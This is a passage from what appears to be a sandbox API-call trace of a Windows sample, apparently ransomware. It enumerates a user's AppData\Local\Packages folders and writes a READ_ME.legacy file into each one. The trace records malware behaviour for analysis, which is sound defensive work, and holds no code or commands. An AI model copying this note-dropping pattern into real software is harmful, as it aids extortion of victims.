lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.038] CloseHandle (hObject=0x744) returned 1 [0136.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0136.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0136.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0136.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41e68 | out: hHeap=0x520000) returned 1 [0136.038] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8b92dcc4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="9E2F88E3.Twitter_wgeqdkkx372wm", cAlternateFileName="9E2F88~1.TWI")) returned 1 [0136.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0136.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0136.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0136.039] GetLastError () returned 0x0 [0136.039] SetLastError (dwErrCode=0x0) [0136.039] GetLastError () returned 0x0 [0136.039] SetLastError (dwErrCode=0x0) [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0136.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.039] GetLastError () returned 0x0 [0136.039] SetLastError (dwErrCode=0x0) [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0136.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0136.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7030 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e73c0 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0136.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0136.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0136.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0136.040] GetLastError () returned 0x0 [0136.040] SetLastError (dwErrCode=0x0) [0136.040] GetLastError () returned 0x0 [0136.040] SetLastError (dwErrCode=0x0) [0136.040] GetLastError () returned 0x0 [0136.040] SetLastError (dwErrCode=0x0) [0136.040] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e417f0 [0136.040] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0136.042] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e417f0 | out: hHeap=0x520000) returned 1 [0136.042] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.043] CloseHandle (hObject=0x744) returned 1 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e73c0 | out: hHeap=0x520000) returned 1 [0136.044] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1206ac31, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0136.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0136.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0136.044] GetLastError () returned 0x0 [0136.044] SetLastError (dwErrCode=0x0) [0136.044] GetLastError () returned 0x0 [0136.044] SetLastError (dwErrCode=0x0) [0136.044] GetLastError () returned 0x0 [0136.044] SetLastError (dwErrCode=0x0) [0136.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0136.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0136.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0136.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0136.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0136.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0136.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0136.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0136.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0136.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0136.045] GetLastError () returned 0x0 [0136.045] SetLastError (dwErrCode=0x0) [0136.045] GetLastError () returned 0x0 [0136.045] SetLastError (dwErrCode=0x0) [0136.045] GetLastError () returned 0x0 [0136.045] SetLastError (dwErrCode=0x0) [0136.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0136.045] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\activesync\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0136.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0136.046] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.047] CloseHandle (hObject=0x744) returned 1 [0136.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0136.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0136.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0136.047] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy", cAlternateFileName="C5E252~1")) returned 1 [0136.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0136.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0136.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0136.048] GetLastError () returned 0x0 [0136.048] SetLastError (dwErrCode=0x0) [0136.048] GetLastError () returned 0x0 [0136.048] SetLastError (dwErrCode=0x0) [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0136.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0136.048] GetLastError () returned 0x0 [0136.048] SetLastError (dwErrCode=0x0) [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0136.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0136.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e417f0 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e40f50 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0136.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0136.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0136.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.049] GetLastError () returned 0x0 [0136.049] SetLastError (dwErrCode=0x0) [0136.049] GetLastError () returned 0x0 [0136.049] SetLastError (dwErrCode=0x0) [0136.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0136.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0136.049] GetLastError () returned 0x0 [0136.049] SetLastError (dwErrCode=0x0) [0136.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b8e0 [0136.049] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0136.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b8e0 | out: hHeap=0x520000) returned 1 [0136.524] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.525] CloseHandle (hObject=0x744) returned 1 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e40f50 | out: hHeap=0x520000) returned 1 [0136.525] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="CortanaListenUIApp_cw5n1h2txyewy", cAlternateFileName="CORTAN~1")) returned 1 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0136.525] GetLastError () returned 0x0 [0136.525] SetLastError (dwErrCode=0x0) [0136.525] GetLastError () returned 0x0 [0136.525] SetLastError (dwErrCode=0x0) [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.525] GetLastError () returned 0x0 [0136.525] SetLastError (dwErrCode=0x0) [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0136.525] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0136.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0136.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0136.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0136.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0136.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0136.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.526] GetLastError () returned 0x0 [0136.526] SetLastError (dwErrCode=0x0) [0136.526] GetLastError () returned 0x0 [0136.526] SetLastError (dwErrCode=0x0) [0136.526] GetLastError () returned 0x0 [0136.526] SetLastError (dwErrCode=0x0) [0136.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41c40 [0136.526] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0136.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41c40 | out: hHeap=0x520000) returned 1 [0136.589] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.590] CloseHandle (hObject=0x744) returned 1 [0136.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0136.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0136.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0136.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0136.590] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DesktopLearning_cw5n1h2txyewy", cAlternateFileName="DESKTO~2")) returned 1 [0136.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8980 | out: hHeap=0x520000) returned 1 [0136.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0136.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0136.590] GetLastError () returned 0x0 [0136.590] SetLastError (dwErrCode=0x0) [0136.590] GetLastError () returned 0x0 [0136.590] SetLastError (dwErrCode=0x0) [0136.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0136.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.591] GetLastError () returned 0x0 [0136.591] SetLastError (dwErrCode=0x0) [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0136.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0136.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6878 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0136.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.591] GetLastError () returned 0x0 [0136.591] SetLastError (dwErrCode=0x0) [0136.591] GetLastError () returned 0x0 [0136.591] SetLastError (dwErrCode=0x0) [0136.591] GetLastError () returned 0x0 [0136.591] SetLastError (dwErrCode=0x0) [0136.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41b88 [0136.591] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0136.698] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41b88 | out: hHeap=0x520000) returned 1 [0136.698] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.698] CloseHandle (hObject=0x744) returned 1 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6878 | out: hHeap=0x520000) returned 1 [0136.699] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DesktopView_cw5n1h2txyewy", cAlternateFileName="DESKTO~1")) returned 1 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0136.699] GetLastError () returned 0x0 [0136.699] SetLastError (dwErrCode=0x0) [0136.699] GetLastError () returned 0x0 [0136.699] SetLastError (dwErrCode=0x0) [0136.699] GetLastError () returned 0x0 [0136.699] SetLastError (dwErrCode=0x0) [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0136.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0136.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0136.699] GetLastError () returned 0x0 [0136.700] SetLastError (dwErrCode=0x0) [0136.700] GetLastError () returned 0x0 [0136.700] SetLastError (dwErrCode=0x0) [0136.700] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0136.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0136.700] GetLastError () returned 0x0 [0136.700] SetLastError (dwErrCode=0x0) [0136.700] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7dd0 [0136.700] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0136.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7dd0 | out: hHeap=0x520000) returned 1 [0136.763] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.764] CloseHandle (hObject=0x744) returned 1 [0136.764] 